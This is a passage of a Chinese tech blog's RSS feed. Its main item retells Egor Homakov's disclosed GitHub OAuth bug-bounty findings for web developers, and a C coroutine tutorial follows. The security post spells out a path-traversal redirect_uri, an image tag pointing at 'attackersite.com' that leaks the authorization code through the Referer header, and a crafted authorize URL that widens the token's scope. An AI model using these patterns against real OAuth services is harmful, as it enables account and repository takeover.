class=\"wp_rp_title\">如何重构“箭头型”代码</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development-150x150.png\" alt=\"开发团队的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_title\">开发团队的效率</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11094.html\">可视化编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11094.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>48</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>从“黑掉Github”学Web安全开发</title>\n\t\t<link>https://coolshell.cn/articles/11021.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11021.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 10 Feb 2014 00:16:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Gist]]></category>\n\t\t<category><![CDATA[github]]></category>\n\t\t<category><![CDATA[OAuth]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11021</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Egor Homakov（Twitter: @homakov 个人网站: EgorHomakov.com）是一个Web安全的布道士，他这两天把github给黑了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11021.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security.png\" width=\"236\" height=\"251\" />Egor Homakov（Twitter: <a href=\"http://twitter.com/homakov\">@homakov</a> 个人网站: <a href=\"http://egorhomakov.com/\">EgorHomakov.com</a>）是一个Web安全的布道士，他这两天把github给黑了，并给github报了5个安全方面的bug，他在他的这篇blog——《<a href=\"http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html\" target=\"_blank\">How I hacked Github again</a>》（墙）说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单，很多地方一笔带过，所以，<strong>我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕</strong>。关于Web开发中的安全事项，大家可以看看这篇文章《<a title=\"Web开发中需要了解的东西\" href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\">Web开发中的你需要了解的东西</a>》</p>\n<h4>OAuth简介</h4>\n<p>首先，这个故事要从<a href=\"https://developer.github.com/v3/oauth/\" target=\"_blank\">Github OAuth</a>讲起。所以，我们需要先知道什么是<a href=\"http://en.wikipedia.org/wiki/OAuth\" target=\"_blank\">OAuth</a>。所谓OAuth就是说，第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务，提供OAuth服务的网站一般都有很多开放的API，第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能，但是，当用户在使用这些第三方应用的时候，这些第三方的应用会来访问用户的帐户内的功能和数据，所以，当第三应用要干这些事的时候，我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码，不然第三方的应用就把用户的密码给获取了，所以，OAuth协议会跳转到一个页面，让用户授权给这个第三方应用以某些权限，然后，这个权限授权的记录保存在Google/Facebook/Twitter上，并向第三方应用返回一个授权token，于是第三方的应用通过这个token来操作某用户帐号的功能和数据时，就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。</p>\n<p><span id=\"more-11021\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-11022\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png\" width=\"630\" height=\"375\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png 700w, https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication-300x178.png 300w\" sizes=\"(max-width: 630px) 100vw, 630px\" /></p>\n<p style=\"text-align: left;\">从上面的流程图中，我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议，所以，在Server端要把OAuth实现对并不是一些容易事，其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。</p>\n<h4 style=\"text-align: left;\">OAuth的Callback</h4>\n<p>还需要注意的是，因为OAuth是需要跳到主站的网页上去让用户授权，当用户授权完后，需要跳转回原网页，所以，一般来说，OAuth授权页都会带一个 redirect_url的参数，用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说，redirect_uri这个参数需要在服务器端进行验证。</p>\n<p>你想一下，如果有人可以控制这个redirect_uri这个参数，那么，你就可以让其跳转到别的网页上（可能会是个有恶意的网页）。如果你觉得跳转到别的网页上也无所谓，那么你就错了。别忘了，当你对这个第三方的应用授权通过后，服务方会给第三方应用返回一个授权token，这个token会被加到那个redirect_uri参数后面然后跳转回去，如果这个redirect_uri被别有用心的人改一个恶意的网址后，这个token也就被转过去了，于是授权token也就被泄漏过去了。</p>\n<p>知道了这一切，我们就可以理解Egor提的那5个bug是什么意思了。</p>\n<h4>第一个Bug — 没有检查重定向URL中的/../</h4>\n<p>首先，我们通过<a href=\"https://developer.github.com/v3/oauth/#redirect-urls\" target=\"_blank\">Github的 redirect_uri 的说明文档</a>我们可以看到这样的说明：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">如果 CALLBACK URL是: http://example.com/path\n\nGOOD: https://example.com/path\nGOOD: http://example.com/path/subdir/other\n\nBAD: http://example.com/bar\nBAD: http://example.com/\nBAD: http://example.com:8080/path\nBAD: http://oauth.example.com:8080/path\nBAD: http://example.org</pre>\n<p>而Github对于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是说，域名是gist.github.com，目录是/auth/github/callback/，服务器端做了这个限制，看似很安全了。</p>\n<p>但是，Egor发现，Github的服务器端并没有验证.. /../../这样的情况。</p>\n<p>于是，Egor相当于构造了一个下面这样的Redirect URL：</p>\n<pre style=\"font-size: 10pt;\">https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE</pre>\n<p>于是上面的URL就相当于：</p>\n<pre style=\"font-size: 10pt;\">https://gist.github.com/homakov/8820324?code=CODE</pre>\n<p>你可以看到，认证后的跳转网页转到了别的地方去（并非是github限制的地方）——我们知道Github的gist虽然是给你分享代码片段的，但是也可以用来定制自己的东西的（比如markdown），这个gist的网页当然是被Egor所控制的。</p>\n<h4>第二个BUG — 没有校验token</h4>\n<p>第一个bug其实并没有什么，如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样，只要服务器做了这个验证，第一个bug完全没有什么用处，但是，github的服务端并没有验证。</p>\n<p>这就是第二个bug，于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。</p>\n<p>也就是说，token的生成要考虑redirect_uri，这样，当URL跳转的时候，会把redirect_uri和token带到跳转页面（这里的跳转页面还是github自己的），跳转页面的服务端程序要用redirect_uri来生成一个token，看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说，对URL签名和对签名验证的因子包括，源IP，服务器时间截，session，或是再加个salt什么的。</p>\n<h4>第三个BUG — 注入跨站图片</h4>\n<p>现在，redirect_uri带着code，安全顺利地跳到了Egor构造的网页上：</p>\n<pre>https://gist.github.com/homakov/8820324?code=CODE</pre>\n<p>但是，这个是gist的网页，你无法在这个页面上运行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），现在的问题是我们怎么得到那个code，因为那个code虽然后带到了我的网页上来，但那个网页还是github和用户自己的环境。</p>\n<p>到这里，一般来说，黑客会在这个页面上放一个诸如下面的一个链接，来引诱用户点击，：</p>\n<p>&lt;a href=http://hack.you.com/&gt;私人照片&lt;/a&gt;</p>\n<p>这样，当页面跳转到黑客的网站上来后，你之前的网页上的网址会被加在http头里的 Refere 参数里，这样，我就可以得到你的token了。</p>\n<p>但是，在gist上放个链接还要用户去点一下，这个太影响“用户体验”了，最好能嵌入点外部的东西。gist上可以嵌入外站的图片，但是github的开发人员并非等闲之辈，对于外站的图片，其统统会把这些图片的url代理成github自己的url，所以，你很难搞定。</p>\n<p>不过，我们可以用一个很诡异的技巧：</p>\n<p style=\"text-align: center;\"><b>&lt;img src=&#8221;///attackersite.com&#8221;&gt;</b></p>\n<p>这个是什么玩意？这个是个URL的相对路径。但是为什么会有三个///呢？呵呵。</p>\n<h5>像程序员一样的思考</h5>\n<p>这个时候，我们需要以“程序员的编程思维”来思考问题——如果你是程序员，你会怎么写校验URL的程序？你一定会想到使用正则表达式，或是用程序来匹配URL中的一些pattern。于是，</p>\n<ul>\n<li>对于绝对路径：你会匹配两个//，后面的可能会是 user@host.com（user@是可选的），然后可能会有:&lt;n&gt;端口号，然后是/，后面是服务器的路径，再往后面应该是?后面带一些参数了。</li>\n</ul>\n<ul>\n<li>对于相对路径：就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。</li>\n</ul>\n<p>好了，如果coolshell.cn网页中的&lt;img src=&gt;或&lt;a href=&gt;中用到的相对路径是 /host.com，那么浏览器会解释成：https://coolshell.cn/host.com，如果是///host.com，那么就应该被浏览器解释成 https://coolshell.cn///host.com。</p>\n<p>但是，Chrome和Firefox，会把///host.com当成绝对路径，因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ，你可以看看下面的连接（源码如下）：</p>\n<p style=\"text-align: center;\"><a href=\"///www.google.com\" target=\"_blank\">CoolShell Test</a></p>\n<p><code data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;a href=&quot;///www.google.com&quot;&gt;CoolShell Test&lt;/a&gt;</code></p>\n<p>关键是，这个Chrome/Firefox的问题被标记成了Won&#8217;t Fix，我勒个去，基本上来说，后台的程序也有可能有这样的问题，对于Perl，Python，Ruby，Node.js，PHP带的URL检查的函数库都有这样的问题。</p>\n<p>于是，我们就可以使用这样的方式给gist注入了一个第三方站点的图片（github的服务端没有察觉到（因为我们前面说过大多数语言的URL检查库都会被 Bypass了），但是浏览器端把这个链接解释到了第三方的站点上），于是请求这个图片的http头中的refere 中包含用户当前页面的URL，也包含了用户授权的code。</p>\n<p>到这里，黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足，他想要的更多。</p>\n<h4>第四个bug &#8211; Gist把github_token放在了cookie里</h4>\n<p>于是Egor在用户的cookie里找到了 github_token</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11030\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png\" width=\"395\" height=\"47\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png 395w, https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie-300x35.png 300w\" sizes=\"(max-width: 395px) 100vw, 395px\" /></p>\n<p>但是这个token没什么用，因为授权的Scope只有gists。但是，这个token不应该放在用户端的cookie里，本身就是一个安全事故，这个东西只能放在服务端（关于Web开发中的安全事项，可以看看这篇文章《<a title=\"Web开发中需要了解的东西\" href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\">Web开发中的你需要了解的东西</a>》）。</p>\n<p>于是，Egor只能另谋出路。</p>\n<h4>第五个Bug &#8211; 自动给gist授权</h4>\n<p>因为gist是github自家的，Egor所以估计github想做得简单一点，当用户访问gist的时候，不会出弹出一个OAuth的页面来让用户授权，不然，用户就会很诧异，都是你们自家的东西，还要授权？所以，Egor猜测github应该是对gist做了自动授权，于是，Egor搞了这样的一个URL（注意其中的 redirect_uri中的scope ）</p>\n<p style=\"word-wrap: break-word; padding: 10px 20px 20px 30px; background-color: #eee;\">https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<b>2Fcallback/../../../homakov/8820324</b>&amp;response_type=code&amp;<b>scope=repo,gists,user,delete_repo,notifications</b></p>\n<p>于是，这个redirect-uri不但帮黑客拿到了访问gist的token，而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。</p>\n<h4> 其它 &amp; 感想</h4>\n<p>于是，作者从 <a href=\"https://bounty.github.com/\">Github Security Bug Bounty</a> 拿到了USD $4,000的奖励！Egor一共花了从下午2点到6点一共4个小时找到了这些Bug，平均一小时1000美刀。Egor还很得瑟的说，如果Github请他做安全顾问，他只收一小时USD $400刀，这4个小时也就$1,600。呵呵。大家看看，这是多么有效率的赚钱方式。</p>\n<p>下图是Github上的赏金猎手的排行榜（<a href=\"https://bounty.github.com/index.html#leaderboard\" target=\"_blank\">https://bounty.github.com/index.html#leaderboard</a>）你可以上去挨个看看他们找到的问题，你会发现好些安全问题都很小，有些只能说是不是很规范的问题，Github都赏了几百刀。我查看了一下github的赏金政策，github赏金至少100刀，到5000刀不等。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-11053\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg\" width=\"580\" height=\"478\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg 716w, https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard-300x247.jpg 300w\" sizes=\"(max-width: 580px) 100vw, 580px\" /></p>\n<p>让我们扪心自问一下，我们花了多少时间在玩那些“红包游戏”，而又搞到了多少红包？人家4个小时找了5个bug，挣了$4000美金。<strong>老天给了你我一样的时间，我们用来抽几块钱的红包，人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率</strong>——你可以移步看看我写的《<a title=\"加班与效率\" href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\">加班与效率</a>》</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11021.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>61</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个“蝇量级” C 语言协程库</title>\n\t\t<link>https://coolshell.cn/articles/10975.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10975.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Tue, 28 Jan 2014 02:50:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[coroutine]]></category>\n\t\t<category><![CDATA[Queue]]></category>\n\t\t<category><![CDATA[yield]]></category>\n\t\t<category><![CDATA[协程]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10975</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 协程(coroutine)顾名思义就是“协作的例程”（co-operative routines）。跟具有操作系统概念的线...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10975.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10975.html\">一个“蝇量级” C 语言协程库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>协程(coroutine)顾名思义就是“协作的例程”（co-operative routines）。跟具有操作系统概念的线程不一样，协程是在用户空间利用程序语言的语法语义就能实现逻辑上类似多任务的编程技巧。实际上协程的概念比线程还要早，按照 Knuth 的说法<strong>“子例程是协程的特例”</strong>，一个子例程就是一次子函数调用，那么实际上协程就是类函数一样的程序组件，你可以在一个线程里面轻松创建数十万个协程，就像数十万次函数调用一样。只不过子例程只有一个调用入口起始点，返回之后就结束了，而协程入口既可以是起始点，又可以从上一个返回点继续执行，也就是说协程之间可以通过 yield 方式转移执行权，<strong>对称（symmetric）、平级</strong>地调用对方，而不是像例程那样上下级调用关系。当然 Knuth 的“特例”指的是协程也可以模拟例程那样实现上下级调用关系，这就叫<strong>非对称协程</strong>（asymmetric coroutines）。</p>\n<h4>基于事件驱动模型</h4>\n<p>我们举一个例子来看看一种<strong>对称协程</strong>调用场景，大家最熟悉的“生产者-消费者”事件驱动模型，一个协程负责生产产品并将它们加入队列，另一个负责从队列中取出产品并使用它。为了提高效率，你想一次增加或删除多个产品。伪代码可以是这样的：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># producer coroutine\nloop\nwhile queue is not full\n  create some new items\n  add the items to queue\nyield to consumer\n\n# consumer coroutine\nloop\nwhile queue is not empty\n  remove some items from queue\n  use the items\nyield to producer</pre>\n<p><span id=\"more-10975\"></span></p>\n<p>大多数教材上拿这种模型作为多线程的例子，实际上多线程在此的应用还是显得有点“重量级”，由于缺乏 yield 语义，线程之间不得不使用同步机制来避免产生全局资源的竟态，这就不可避免产生了休眠、调度、切换上下文一类的系统开销，而且线程调度还会产生时序上的不确定性。而对于协程来说，“挂起”的概念只不过是转让代码执行权并调用另外的协程，待到转让的协程告一段落后重新得到调用并从挂起点“唤醒”，这种协程间的调用是逻辑上可控的，时序上确定的，可谓一切尽在掌握中。</p>\n<p>当今一些具备协程语义的语言，比较重量级的如C#、erlang、golang，以及轻量级的python、lua、javascript、ruby，还有函数式的scala、scheme等。相比之下，作为原生态语言的 C 反而处于尴尬的地位，原因在于 C 依赖于一种叫做<strong>栈帧</strong>的例程调用，例程内部的状态量和返回值都保留在堆栈上，这意味着生产者和消费者相互之间无法实现平级调用，当然你可以改写成把生产者作为主例程然后将产品作为传递参数调用消费者例程，这样的代码写起来费力不讨好而且看起来会很难受，特别当协程数目达到十万数量级，这种写法就过于僵化了。</p>\n<p>这就引出了协程的概念，<strong>如果将每个协程的上下文（比如程序计数器）保存在其它地方而不是堆栈上，协程之间相互调用时，被调用的协程只要从堆栈以外的地方恢复上次出让点之前的上下文即可，这有点类似于 CPU 的上下文切换，</strong>遗憾的是似乎只有更底层的汇编语言才能做到这一点。</p>\n<p>难道 C 语言只能用多线程吗？幸运的是，C 标准库给我们提供了两种协程调度原语：一种是<a title=\"http://zh.wikipedia.org/wiki/Setjmp.h\" href=\"http://zh.wikipedia.org/wiki/Setjmp.h\" target=\"_blank\"> setjmp/longjmp</a>，另一种是<a title=\"http://pubs.opengroup.org/onlinepubs/7990989799/xsh/ucontext.h.html\" href=\"http://pubs.opengroup.org/onlinepubs/7990989799/xsh/ucontext.h.html\" target=\"_blank\"> ucontext 组件</a>，它们内部（当然是用汇编语言）实现了协程的上下文切换，相较之下前者在应用上会产生相当的不确定性（比如不好封装，具体说明参考联机文档），所以后者应用更广泛一些，网上绝大多数 C 协程库也是基于 ucontext 组件实现的。</p>\n<h4>“蝇量级”的协程库</h4>\n<p>在此，我来介绍一种“蝇量级”的开源 C 协程库 <a title=\"http://dunkels.com/adam/pt/\" href=\"http://dunkels.com/adam/pt/\" target=\"_blank\">protothreads</a>。这是一个全部用 ANSI C 写成的库，之所以称为“蝇量级”的，就是说，实现已经不能再精简了，几乎就是原语级别。事实上 protothreads 整个库不需要链接加载，因为所有源码都是头文件，类似于 STL 这样不依赖任何第三方库，在任何平台上可移植；总共也就 5 个头文件，有效代码量不足 100 行；API 都是宏定义的，所以不存在调用开销；最后，每个协程的空间开销是 2 个字节（是的，你没有看错，就是一个 short 单位的“栈”！）当然这种精简是要以使用上的局限为代价的，接下来的分析会说明这一点。</p>\n<p>先来看看 protothreads 作者，<a title=\"http://dunkels.com/adam/\" href=\"http://dunkels.com/adam/\" target=\"_blank\">Adam Dunkels</a>，一位来自瑞典皇家理工学院的计算机天才帅哥。话说这哥们挺有意思的，写了好多轻量级的作品，都是 BSD 许可证。顺便说一句，轻量级开源软件全世界多如牛毛，可像这位哥们写得如此出名的并不多。比如嵌入式网络操作系统 <a title=\"http://www.contiki-os.org/\" href=\"http://www.contiki-os.org/\" target=\"_blank\">Contiki</a>，国人耳熟能详的 TCP/IP 协议栈 <a title=\"http://en.wikipedia.org/wiki/UIP_(micro_IP)\" href=\"http://en.wikipedia.org/wiki/UIP_(micro_IP)\" target=\"_blank\">uIP</a> 和 <a title=\"http://savannah.nongnu.org/projects/lwip/\" href=\"http://savannah.nongnu.org/projects/lwip/\" target=\"_blank\">lwIP</a> 也是出自其手。上述这些软件都是经过数十年企业级应用的考验，质量之高可想而知。</p>\n<p>很多人会好奇如此“蝇量级”的代码究竟是怎么实现的呢？在分析 protothreads 源码之前，我先来给大家补一补 C 语言的基础课;-^)简而言之，这利用了 C 语言特性上的一个“奇技淫巧”，而且这种技巧恐怕连许多具备十年以上经验的 C 程序员老手都不见得知晓。当然这里先要声明我不是推荐大家都这么用，实际上这是以破坏语言的代码规范为代价，在一些严肃的项目工程中需要谨慎对待，除非你想被炒鱿鱼。</p>\n<h4>C 语言的“yield 语义”</h4>\n<p>下面的教程来自于一位 ARM 工程师、天才黑客 <a title=\"http://www.chiark.greenend.org.uk/~sgtatham/\" href=\"http://www.chiark.greenend.org.uk/~sgtatham/\" target=\"_blank\">Simon Tatham</a>（开源 Telnet/SSH 客户端 <a title=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" target=\"_blank\">PuTTY</a> 和汇编器 <a title=\"http://www.nasm.us/\" href=\"http://www.nasm.us/\" target=\"_blank\">NASM</a> 的作者，吐槽一句，PuTTY的源码号称是所有正式项目里最难 hack 的 C，你应该猜到作者是什么语言出身）的博文：<a title=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html\" href=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html\" target=\"_blank\">Coroutines in C</a>。中文译文在<a title=\"http://www.oschina.net/translate/coroutines-in-c\" href=\"http://www.oschina.net/translate/coroutines-in-c\" target=\"_blank\">这里</a>。</p>\n<p>我们知道 python 的 yield 语义功能类似于一种迭代生成器，函数会保留上次的调用状态，并在下次调用时会从上个返回点继续执行。用 C 语言来写就像这样：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int function(void) {\n  int i;\n  for (i = 0; i &lt; 10; i++)\n    return i;   /* won&#039;t work, but wouldn&#039;t it be nice */\n}</pre>\n<p>连续对它调用 10 次，它能分别返回 0 到 9。该怎样实现呢？可以利用 goto 语句，如果我们在函数中加入一个状态变量，就可以这样实现：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: goto LABEL0;\n    case 1: goto LABEL1;\n  }\n  LABEL0: /* start of function */\n  for (i = 0; i &lt; 10; i++) {\n    state = 1; /* so we will come back to LABEL1 */\n    return i;\n    LABEL1:; /* resume control straight after the return */\n  }\n}</pre>\n<p>这个方法是可行的。我们在所有需要 yield 的位置都加上标签：起始位置加一个，还有所有 return 语句之后都加一个。每个标签用数字编号，我们在状态变量中保存这个编号，这样就能在我们下次调用时告诉我们应该跳到哪个标签上。每次返回前，更新状态变量，指向到正确的标签；不论调用多少次，针对状态变量的 switch 语句都能找到我们要跳转到的位置。</p>\n<p>但这还是难看得很。最糟糕的部分是所有的标签都需要手工维护，还必须保证函数中的标签和开头 switch 语句中的一致。每次新增一个 return 语句，就必须想一个新的标签名并将其加到 switch 语句中；每次删除 return 语句时，同样也必须删除对应的标签。这使得维护代码的工作量增加了一倍。</p>\n<p>仔细想想，其实我们可以不用 switch 语句来决定要跳转到哪里去执行，而是<strong>直接利用 switch 语句本身来实现跳转</strong>：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: /* start of function */\n    for (i = 0; i &lt; 10; i++) {\n      state = 1; /* so we will come back to &quot;case 1&quot; */\n      return i;\n      case 1:; /* resume control straight after the return */\n    }\n  }\n}</pre>\n<p>酷！没想到 switch-case 语句可以这样用，其实说白了 C 语言就是脱胎于汇编语言的，switch-case 跟 if-else 一样，无非就是汇编的条件跳转指令的另类实现而已（这也间接解释了为何汇编程序员经常揶揄 C 语言是“大便一样的代码”）。我们还可以用 __LINE__ 宏使其更加一般化：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: /* start of function */\n    for (i = 0; i &lt; 